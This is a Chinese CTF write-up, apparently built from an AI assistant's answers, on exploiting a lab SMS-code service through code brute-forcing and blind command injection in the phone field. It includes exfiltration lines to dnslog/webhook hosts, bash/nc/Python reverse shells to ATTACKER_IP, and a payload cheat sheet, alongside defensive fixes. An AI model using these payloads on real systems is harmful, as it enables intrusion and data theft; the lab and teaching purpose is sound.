Featured image of post 好靶场-小王采购了一个发送验证码的工具-WP

好靶场-小王采购了一个发送验证码的工具-WP

关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。

学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:

🔗 入口:http://www.loveli.com.cn/see_bug_one?id=571

✅ 邀请码:48ffd1d7eba24bf4

🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇

漏洞发现过程

1. 初步分析

访问目标网站,发现是一个短信验证码登录页面。页面有两个主要接口:

  • /send - 发送验证码
  • /login - 验证登录

Question

检查这个网页的代码有没有漏洞,这是个靶机,如果有告诉我利用方式和脚本

分析这个登录页面的代码,我发现了几个潜在的安全漏洞:

查看前端代码,发现验证码只有4位数字,存在明显的暴力破解漏洞。

2. 验证码爆破

编写Python脚本进行验证码爆破:

 1import requests
 2import time
 3
 4BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"
 5
 6def send_code(phone):
 7    requests.post(f"{BASE_URL}/send", json={"phone": phone})
 8
 9def brute_force_code(phone):
10    send_code(phone)
11    time.sleep(2)
12    
13    for code_num in range(10000):
14        code = f"{code_num:04d}"
15        resp = requests.post(
16            f"{BASE_URL}/login",
17            json={"phone": phone, "code": code}
18        )
19        result = resp.json()
20        
21        if result.get('success'):
22            print(f"[+] 验证码: {code}")
23            return code
24        
25        if code_num % 100 == 0:
26            print(f"[*] 进度: {code_num}/10000", end='\r')
27
28brute_force_code("18888888888")

成功爆破出验证码 2898,但登录后提示:“恭喜登录成功了,但是登录成功了也没有Flag”。

玩呢?啊?

3. 命令注入测试

结合题目提示"采购的工具"和"短信验证码"标签,怀疑后端可能直接将手机号参数拼接到系统命令中。

测试Sleep命令注入:

 1import requests
 2import time
 3
 4BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"
 5
 6# 测试sleep命令
 7start = time.time()
 8resp = requests.post(
 9    f"{BASE_URL}/send",
10    json={"phone": "18888888888; sleep 5"}
11)
12elapsed = time.time() - start
13
14print(f"响应时间: {elapsed:.2f}秒")

发现Burp里面修改手机号后面加sleep命令,网页确实等待了5秒后才响应。

结果:响应时间约5秒,确认存在命令注入漏洞!

使用Burp Suite手动测试:

1POST /send HTTP/1.1
2Host: iuuga86.haobachang.loveli.com.cn:8888
3Content-Type: application/json
4
5{"phone":"18888888888; sleep 5"}

响应时间明显延迟5秒,证实了命令注入漏洞的存在。

4. 尝试外带数据(失败)

由于命令执行结果不会回显到HTTP响应中,这是典型的盲命令注入。首先尝试使用DNS外带数据。

DNSLog外带尝试:

  1. 访问 http://dnslog.cn 获取临时域名:g7nqkk.dnslog.cn

  2. 测试网络连通性:

1POST /send HTTP/1.1
2Host: iuuga86.haobachang.loveli.com.cn:8888
3Content-Type: application/json
4
5{"phone":"18888888888; ping -c 1 g7nqkk.dnslog.cn"}
  1. 尝试外带flag:
1{"phone":"18888888888; curl `cat /flag`.g7nqkk.dnslog.cn"}
2{"phone":"18888888888; ping -c 1 `cat /flag`.g7nqkk.dnslog.cn"}
3{"phone":"18888888888; nslookup `cat /flag`.g7nqkk.dnslog.cn"}

结果:DNSLog没有收到任何记录,说明靶机无法访问外网或DNS被限制。 放轻松,DNS弹不出来是正常的。

5. 探测Web目录结构

既然外带不通,尝试将命令执行结果写入到web可访问的目录中。

探测当前工作目录:

  1import requests
  2import time
  3
  4BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"
  5
  6print("[*] 目标: 将 /tmp/flag.txt 写入到web可访问目录\n")
  7
  8# 首先找出当前工作目录
  9print("[*] 步骤1: 探测当前工作目录...")
 10probe_commands = [
 11    "pwd > /tmp/pwd.txt",
 12    "ls -la > /tmp/ls.txt",
 13    "echo $(pwd) > /tmp/path.txt",
 14]
 15
 16for cmd in probe_commands:
 17    payload = f"18888888888; {cmd}"
 18    requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
 19    time.sleep(0.3)
 20
 21# 尝试多种路径写入1.txt
 22print("\n[*] 步骤2: 尝试将flag写入到1.txt...")
 23
 24write_commands = [
 25    # 直接写到当前目录
 26    "cat /tmp/flag.txt > 1.txt",
 27    "cat /tmp/flag.txt > ./1.txt",
 28    "cp /tmp/flag.txt 1.txt",
 29    "cp /tmp/flag.txt ./1.txt",
 30    
 31    # 写到可能的web根目录
 32    "cat /tmp/flag.txt > /app/1.txt",
 33    "cat /tmp/flag.txt > /app/static/1.txt",
 34    "cat /tmp/flag.txt > ./static/1.txt",
 35    "cat /tmp/flag.txt > static/1.txt",
 36    
 37    # 尝试templates目录
 38    "cat /tmp/flag.txt > /app/templates/1.txt",
 39    "cat /tmp/flag.txt > ./templates/1.txt",
 40    "cat /tmp/flag.txt > templates/1.txt",
 41]
 42
 43for cmd in write_commands:
 44    payload = f"18888888888; {cmd}"
 45    try:
 46        requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
 47        print(f"  ✓ 执行: {cmd}")
 48        time.sleep(0.3)
 49    except:
 50        print(f"  ✗ 失败: {cmd}")
 51
 52# 尝试访问所有可能的路径
 53print("\n[*] 步骤3: 尝试访问1.txt...")
 54
 55possible_paths = [
 56    "/1.txt",
 57    "/static/1.txt",
 58    "/templates/1.txt",
 59    "/app/1.txt",
 60    "/app/static/1.txt",
 61    "/app/templates/1.txt",
 62]
 63
 64flag_found = False
 65
 66for path in possible_paths:
 67    try:
 68        resp = requests.get(f"{BASE_URL}{path}", timeout=3)
 69        if resp.status_code == 200 and len(resp.content) > 0:
 70            print(f"\n{'='*60}")
 71            print(f"[!!!] 成功找到: {BASE_URL}{path}")
 72            print(f"{'='*60}")
 73            print(f"FLAG内容: {resp.text}")
 74            print(f"{'='*60}")
 75            flag_found = True
 76            break
 77        else:
 78            print(f"  ✗ {path} - 状态码: {resp.status_code}")
 79    except Exception as e:
 80        print(f"  ✗ {path} - 无法访问")
 81
 82if not flag_found:
 83    print("\n[!] 未能直接访问到文件")
 84    print("[*] 尝试其他方法...\n")
 85    
 86    # 方法2: 创建HTML文件嵌入flag
 87    print("[*] 方法2: 创建HTML文件...")
 88    html_commands = [
 89        "echo '<html><body><pre>' > 1.html && cat /tmp/flag.txt >> 1.html && echo '</pre></body></html>' >> 1.html",
 90        "cat /tmp/flag.txt > /app/static/1.html",
 91        "cat /tmp/flag.txt > ./static/1.html",
 92    ]
 93    
 94    for cmd in html_commands:
 95        payload = f"18888888888; {cmd}"
 96        requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
 97        time.sleep(0.3)
 98    
 99    html_paths = ["/1.html", "/static/1.html"]
100    for path in html_paths:
101        try:
102            resp = requests.get(f"{BASE_URL}{path}")
103            if resp.status_code == 200:
104                print(f"\n[!!!] HTML方式成功: {BASE_URL}{path}")
105                print(f"内容: {resp.text}")
106                flag_found = True
107                break
108        except:
109            pass
110
111if not flag_found:
112    # 方法3: 尝试符号链接
113    print("\n[*] 方法3: 尝试创建符号链接...")
114    link_commands = [
115        "ln -sf /tmp/flag.txt /app/static/1.txt",
116        "ln -sf /tmp/flag.txt ./static/1.txt",
117        "ln -sf /tmp/flag.txt /app/1.txt",
118        "ln -sf /tmp/flag.txt ./1.txt",
119    ]
120    
121    for cmd in link_commands:
122        payload = f"18888888888; {cmd}"
123        requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
124        print(f"  ✓ 执行: {cmd}")
125        time.sleep(0.3)
126    
127    print("\n[*] 再次尝试访问...")
128    for path in possible_paths:
129        try:
130            resp = requests.get(f"{BASE_URL}{path}")
131            if resp.status_code == 200 and len(resp.content) > 0:
132                print(f"\n[!!!] 符号链接成功: {BASE_URL}{path}")
133                print(f"内容: {resp.text}")
134                break
135        except:
136            pass

1POST /send HTTP/1.1
2Host: iuuga86.haobachang.loveli.com.cn:8888
3Content-Type: application/json
4
5{"phone":"18888888888; pwd > /app/static/test.txt"}

访问 http://iuuga86.haobachang.loveli.com.cn:8888/static/test.txt

结果:

/app

成功!确认当前工作目录为 /app,且 /app/static 目录可通过web访问。

探测目录结构:

1{"phone":"18888888888; ls -la /app > /app/static/ls.txt"}
2{"phone":"18888888888; ls -la /tmp > /app/static/tmp.txt"}

通过多次探测发现:

  • 当前目录:/app
  • 可写目录:/app/static
  • Flag位置:/tmp/flag.txt(通过ls /tmp发现)

6. 获取Flag

最终Payload:

1POST /send HTTP/1.1
2Host: iuuga86.haobachang.loveli.com.cn:8888
3Content-Type: application/json
4Content-Length: 70
5
6{"phone":"18888888888; cat /tmp/flag.txt > /app/static/report.txt"}

访问:http://iuuga86.haobachang.loveli.com.cn:8888/static/report.txt

成功获取Flag:

flag{976372a77dfd46b1816e229952e4a15e}

漏洞原因分析

后端代码可能类似:

1import os
2from flask import Flask, request
3
4@app.route('/send', methods=['POST'])
5def send_sms():
6    phone = request.json.get('phone')
7    # 危险:直接将用户输入拼接到shell命令中
8    os.system(f"send_sms.sh {phone}")
9    return {"success": True, "msg": "验证码发送成功"}

用户可控的 phone 参数被直接拼接到 os.system() 中执行,导致命令注入。

防御建议

  1. 输入验证:严格验证手机号格式,使用正则表达式 ^1[3-9]\d{9}$
  2. 避免shell调用:使用Python的SMS库直接发送,避免调用shell命令
  3. 参数化:如必须使用shell,使用 subprocess 的列表参数形式
  4. 最小权限:限制应用运行权限,避免访问敏感文件
 1# 安全的实现方式
 2import re
 3import subprocess
 4
 5def send_sms(phone):
 6    # 严格验证手机号
 7    if not re.match(r'^1[3-9]\d{9}$', phone):
 8        return {"success": False, "msg": "无效手机号"}
 9    
10    # 使用参数化调用,避免命令注入
11    subprocess.run(['/usr/bin/send_sms.sh', phone], check=True)
12    return {"success": True, "msg": "发送成功"}

总结

这道题目考查了:

  1. 验证码爆破:4位纯数字验证码的安全风险
  2. 命令注入识别:通过sleep延时判断
  3. 盲注技巧:无回显情况下的数据外带
  4. 目录探测:寻找可写且可访问的web目录
  5. 实战思路:当常规外带方式失败时,灵活寻找其他突破点

Flag: flag{976372a77dfd46b1816e229952e4a15e}

意外发现,id居然是root,不是www-data,而是直接就是root。那怎么好意思不进来看看呢?

Python反弹Shell

1{"phone":"18888888888; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'; sleep 5"}

YOUR_IP 用自己的公网服务器IP,推荐使用大麦云,找客服要优惠码 https://www.whdmw.com/recommend/A16nUFoB1Jhs

弹回shell后cat app.py 看逻辑

 1
 2from flask import Flask, render_template, request, jsonify
 3import os
 4import sqlite3
 5from sqlite3 import Error
 6import time
 7import random
 8app = Flask(__name__)
 9
10
11# 用于存储手机号和验证码的映射
12phone_code_map = {}
13# 用于记录每个手机号的验证码发送次数
14phone_send_count = {}
15
16@app.route('/')
17def index():
18    # 将参数传递给模板
19    return render_template('login.html')
20
21@app.route('/send', methods=['POST'])
22def send_code():
23    print("123")
24    data = request.get_json()
25    phone = data.get('phone', '')
26    # 记录发送次数
27    count = phone_send_count.get(phone, 0)
28    phone_send_count[phone] = count + 1
29    print(f"手机号 {phone} 已发送验证码次数: {phone_send_count[phone]}")
30    print(f"echo {phone} >> phone.txt")
31    os.system(f"echo {phone} >> phone.txt")
32    # 生成6位验证码
33    code = ''.join([str(random.randint(0, 9)) for _ in range(4)])
34    print("123")
35    # 将验证码和手机号绑定
36    phone_code_map[phone] = code
37    msg = f'验证码发送成功'
38    return jsonify({'success': True, 'msg': msg})
39
40@app.route('/login', methods=['POST'])
41def login():
42    data = request.get_json()
43    phone = data.get('phone', '')
44    input_code = data.get('code', '')
45    # 校验手机号格式
46    if not phone or not phone.isdigit() or len(phone) != 11 or not phone.startswith('1'):
47        return jsonify({'success': False, 'msg': '手机号格式不正确'})
48    # 校验验证码格式
49    if not input_code or not input_code.isdigit() or len(input_code) != 4:
50        return jsonify({'success': False, 'msg': '验证码格式不正确'})
51    # 验证码校验,需和手机号绑定
52    code = phone_code_map.get(phone)
53    if not code or input_code != code:
54        return jsonify({'success': False, 'msg': '验证码错误'})
55    # 登录成功
56    # 这里可以进行用户注册或登录逻辑
57    return jsonify({'success': True, 'msg': '恭喜登录成功了,但是登录成功了也没有Flag'})
58
59
60if __name__ == '__main__':
61    app.run(host='0.0.0.0', port=80)

漏洞分析

关键代码(第26-27行)

1print(f"echo {phone} >> phone.txt")
2os.system(f"echo {phone} >> phone.txt")

这就是典型的命令注入漏洞!

漏洞原理

  1. 用户可控输入phone 参数完全来自用户的POST请求
  2. 直接拼接到shell命令:使用 os.system() 直接执行拼接的字符串
  3. 没有任何过滤:虽然后面有格式验证(第42-43行),但这些验证在 /login 路由中,而命令注入在 /send 路由的验证之前就执行了

攻击流程

用户请求 /send 
    ↓
获取 phone 参数
    ↓
直接执行 os.system(f"echo {phone} >> phone.txt")  ← 命令注入点
    ↓
生成验证码
    ↓
返回成功

为什么需要 sleep?

查看代码逻辑:

  • /send 路由执行命令后立即返回响应
  • 如果命令执行时间过长,HTTP响应可能在命令完成前就返回了
  • 添加 sleep 5 确保:
    1. 命令有足够时间执行完成
    2. 文件写入操作完成
    3. 防止进程被过早终止

漏洞利用示例

 1# 正常使用
 2phone = "18888888888"
 3# 实际执行: echo 18888888888 >> phone.txt
 4
 5# 命令注入
 6phone = "18888888888; cat /tmp/flag.txt > /app/static/flag.txt"
 7# 实际执行: echo 18888888888; cat /tmp/flag.txt > /app/static/flag.txt >> phone.txt
 8#           ^^^^^^^^^^^^^^  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 9#           正常命令         注入的恶意命令
10
11# 加上sleep确保执行
12phone = "18888888888; cat /tmp/flag.txt > /app/static/flag.txt; sleep 5"

Question

怎么就发现了sleep 5 的那里我还想问一下,就是{“phone”:“18888888888”} 这里,怎么 想到sleep5 的,除了这个还有其他测试命令码

好问题!这是渗透测试中非常重要的思路。让我详细讲解命令注入的发现和测试过程:

命令注入漏洞的发现思路

1. 初步怀疑阶段

当看到这样的场景时,应该怀疑可能存在命令注入:

触发条件:

  • 接口接收用户输入(手机号、邮箱、文件名等)
  • 题目提示"采购的工具"、“第三方服务”(暗示可能使用shell脚本)
  • 后端可能是Python/PHP/Node.js等脚本语言
  • 功能涉及系统级操作(发送短信、文件处理、图片处理等)

心理过程:

用户输入 → 后端处理 → 如果后端直接调用系统命令?
         ↓
"发送验证码" → 可能调用短信发送脚本/工具
         ↓
是否直接拼接了用户输入?

2. 为什么首先想到用 sleep?

Sleep是命令注入测试的"黄金标准"

原因:

A. 盲注友好

1# 不需要看到输出,通过"时间"就能判断
2正常请求耗时: 0.5秒
3注入sleep 5: 5.5秒  ← 明显差异!

B. 跨平台兼容

1Linux:   sleep 5
2Windows: timeout /t 5
3通用性强,几乎所有系统都有

C. 无副作用

1# 不会破坏系统
2❌ rm -rf /          # 危险!
3❌ cat /etc/passwd   # 可能触发IDS
4✅ sleep 5           # 安全,只是等待

D. 绕过输出过滤

1# 即使返回被过滤,时间延迟无法隐藏
2Response: {"success": true}  # 看起来正常
3但响应时间: 5秒              # 暴露了漏洞!

3. 完整的命令注入测试流程

阶段1:初步探测(使用延时)

测试用例1:基础延时

1# Linux
2{"phone":"18888888888; sleep 5"}
3{"phone":"18888888888 && sleep 5"}
4{"phone":"18888888888 | sleep 5"}
5{"phone":"18888888888 || sleep 5"}
6
7# Windows
8{"phone":"18888888888 & timeout /t 5"}
9{"phone":"18888888888 && ping 127.0.0.1 -n 6"}

判断方法:

1import time
2
3start = time.time()
4# 发送请求
5resp = requests.post(url, json={"phone": "18888888888; sleep 5"})
6elapsed = time.time() - start
7
8if elapsed >= 4.5:  # 考虑网络延迟
9    print("✓ 命令注入存在!")

测试用例2:不同的命令分隔符

 1# 分号(最常用)
 2; sleep 5
 3
 4# AND运算符(前一个命令成功才执行)
 5&& sleep 5
 6
 7# OR运算符(前一个命令失败才执行)
 8|| sleep 5
 9
10# 管道符(将前一个命令输出传给后面)
11| sleep 5
12
13# 反引号(命令替换)
14`sleep 5`
15
16# $() 命令替换(更现代)
17$(sleep 5)
18
19# 换行符(部分场景)
20%0a sleep 5
21\n sleep 5
22
23# 后台执行
24& sleep 5

测试用例3:测试不同的延时时长

1# 用于确认是否真的是命令注入
2{"phone":"18888888888; sleep 3"}  # 3秒
3{"phone":"18888888888; sleep 7"}  # 7秒
4{"phone":"18888888888; sleep 10"} # 10秒
5
6# 如果响应时间与sleep参数对应,基本确认漏洞

阶段2:确认命令执行环境

测试用例4:判断操作系统

1# Linux探测
2{"phone":"18888888888; uname -a > /tmp/test"}
3{"phone":"18888888888; cat /etc/os-release > /tmp/test"}
4
5# Windows探测
6{"phone":"18888888888 & ver"}
7{"phone":"18888888888 & systeminfo"}

测试用例5:判断当前用户

1{"phone":"18888888888; whoami > /tmp/user.txt"}
2{"phone":"18888888888; id > /tmp/user.txt"}

测试用例6:判断当前目录

1{"phone":"18888888888; pwd > /tmp/pwd.txt"}
2{"phone":"18888888888; ls -la > /tmp/ls.txt"}

阶段3:数据回显测试

测试用例7:写入Web可访问目录

1# 假设是Flask/Django应用
2{"phone":"18888888888; echo test123 > /app/static/test.txt"}
3{"phone":"18888888888; whoami > ./static/out.txt"}
4
5# PHP应用
6{"phone":"18888888888; echo test > /var/www/html/test.txt"}
7
8# 通用尝试
9{"phone":"18888888888; pwd > ./test.txt"}

测试用例8:DNS外带(需要有网络)

1# 使用DNSLog
2{"phone":"18888888888; nslookup test.dnslog.cn"}
3{"phone":"18888888888; ping -c 1 test.dnslog.cn"}
4{"phone":"18888888888; curl http://test.dnslog.cn"}

测试用例9:HTTP外带

1# 使用RequestBin/Webhook.site
2{"phone":"18888888888; curl http://webhook.site/xxx?data=$(whoami)"}
3{"phone":"18888888888; wget http://requestbin.net/xxx --post-data='data=$(id)'"}

阶段4:高级利用

测试用例10:反弹Shell

1# Bash反弹
2{"phone":"18888888888; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}
3
4# NC反弹
5{"phone":"18888888888; nc ATTACKER_IP 4444 -e /bin/bash"}
6{"phone":"18888888888; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"}
7
8# Python反弹
9{"phone":"18888888888; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"}

4. 除了sleep,还有哪些测试命令?

基于时间的盲注(推荐,优先级最高)

 1# Linux
 2sleep 5              # 最常用
 3ping -c 5 127.0.0.1  # 延时5秒
 4timeout 5            # 需要安装
 5
 6# Windows  
 7timeout /t 5         # CMD
 8ping 127.0.0.1 -n 6  # 6次ping(约5秒)
 9Start-Sleep -s 5     # PowerShell
10
11# 跨平台(通过脚本)
12python -c "import time; time.sleep(5)"
13perl -e "sleep 5"
14ruby -e "sleep 5"

基于布尔的盲注

 1# 测试文件是否存在
 2# 如果存在则sleep
 3{"phone":"18888888888; [ -f /etc/passwd ] && sleep 5"}
 4{"phone":"18888888888; test -f /etc/passwd && sleep 5"}
 5
 6# 如果不存在则sleep
 7{"phone":"18888888888; [ ! -f /notexist ] && sleep 5"}
 8
 9# 测试用户权限
10{"phone":"18888888888; [ $(whoami) = 'root' ] && sleep 5"}

基于输出的测试(需要回显)

 1# 简单命令
 2whoami              # 当前用户
 3id                  # 用户ID和组
 4pwd                 # 当前目录
 5hostname            # 主机名
 6uname -a            # 系统信息
 7
 8# 文件读取
 9cat /etc/passwd
10cat /tmp/flag.txt
11ls -la /
12find / -name "flag*"
13
14# 网络信息
15ifconfig
16ip addr
17netstat -tulnp

基于文件的测试

1# 创建标记文件
2{"phone":"18888888888; touch /tmp/pwned"}
3{"phone":"18888888888; echo hacked > /tmp/test.txt"}
4
5# 写入特定内容
6{"phone":"18888888888; date > /tmp/timestamp.txt"}
7{"phone":"18888888888; whoami > /app/static/user.txt"}

基于错误的测试

1# 故意触发错误,观察响应
2{"phone":"18888888888; invalidcommand"}
3{"phone":"18888888888; cat /nonexistent"}
4
5# 语法错误
6{"phone":"18888888888; $("}
7{"phone":"18888888888; `"}

6. 实战技巧总结

为什么sleep是首选?

测试方法优点缺点
sleep延时✅ 无需回显
✅ 跨平台
✅ 无副作用
✅ 易于自动化
❌ 受网络延迟影响
文件写入✅ 可验证执行
✅ 持久化
❌ 需要知道路径
❌ 需要写权限
DNS外带✅ 无需回显
✅ 可获取数据
❌ 需要网络
❌ 可能被监控
反弹Shell✅ 交互式
✅ 权限最大
❌ 容易被发现
❌ 需要公网IP

测试顺序建议

1. sleep延时测试(确认漏洞存在)
   ↓
2. 环境探测(操作系统、权限、路径)
   ↓
3. 数据回显(写入文件或外带)
   ↓
4. 获取目标数据(读flag、敏感文件)
   ↓
5. 持久化/提权(可选)

总结

为什么想到sleep?

  1. 这是渗透测试的标准做法
  2. 时间延迟是最可靠的盲注指标
  3. 无副作用,安全性高
  4. 教程和工具都优先推荐这个方法

其他测试命令的选择:

  • 有回显 → 用 whoami, id, pwd
  • 无回显 → 用 sleep, DNS外带
  • 需要数据 → 写入web目录或反弹shell
  • 需要持久化 → 添加用户、计划任务

记住:先用sleep验证漏洞存在,再根据具体情况选择后续利用方式。这是最稳妥的思路!


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词,获取更多技术资料与书单推荐!📚